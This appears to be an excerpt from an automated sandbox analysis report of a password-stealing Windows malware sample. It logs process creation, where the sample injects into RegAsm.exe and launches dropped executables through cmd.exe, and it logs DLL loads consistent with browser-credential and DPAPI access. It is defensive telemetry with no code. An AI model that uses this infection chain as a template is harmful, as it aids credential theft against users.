Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\DGHIDAFCGI.exe "C:\ProgramData\DGHIDAFCGI.exe"
Source: C:\ProgramData\DGHIDAFCGI.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\DGHIDAFCGI.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userCGCFCBAKKF.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userCGCFCBAKKF.exe "C:\Users\userCGCFCBAKKF.exe"
Source: C:\Users\userCGCFCBAKKF.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\userCGCFCBAKKF.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\userCGCFCBAKKF.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\userCGCFCBAKKF.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\userCGCFCBAKKF.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userAAAAKJKJEB.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userAAAAKJKJEB.exe "C:\Users\userAAAAKJKJEB.exe"
Source: C:\Users\userAAAAKJKJEB.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\userAAAAKJKJEB.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\userAAAAKJKJEB.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\DGHIDAFCGI.exe "C:\ProgramData\DGHIDAFCGI.exe"	Jump to behavior
Source: C:\ProgramData\DGHIDAFCGI.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userCGCFCBAKKF.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userAAAAKJKJEB.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userCGCFCBAKKF.exe "C:\Users\userCGCFCBAKKF.exe"	Jump to behavior
Source: C:\Users\userCGCFCBAKKF.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\userCGCFCBAKKF.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\userCGCFCBAKKF.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\userCGCFCBAKKF.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userAAAAKJKJEB.exe "C:\Users\userAAAAKJKJEB.exe"
Source: C:\Users\userAAAAKJKJEB.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\userAAAAKJKJEB.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uianimation.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\ProgramData\DGHIDAFCGI.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\ProgramData\DGHIDAFCGI.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\DGHIDAFCGI.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\DGHIDAFCGI.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\DGHIDAFCGI.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\ProgramData\DGHIDAFCGI.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\userCGCFCBAKKF.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\userCGCFCBAKKF.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\userCGCFCBAKKF.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\userCGCFCBAKKF.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\userCGCFCBAKKF.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\userCGCFCBAKKF.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\userCGCFCBAKKF.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\userAAAAKJKJEB.exe	Section loaded: mscoree.dll
Source: C:\Users\userAAAAKJKJEB.exe	Section loaded: apphelp.dll
Source: C:\Users\userAAAAKJKJEB.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\userAAAAKJKJEB.exe	Section loaded: version.dll
Source: C:\Users\userAAAAKJKJEB.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\userAAAAKJKJEB.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\userAAAAKJKJEB.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
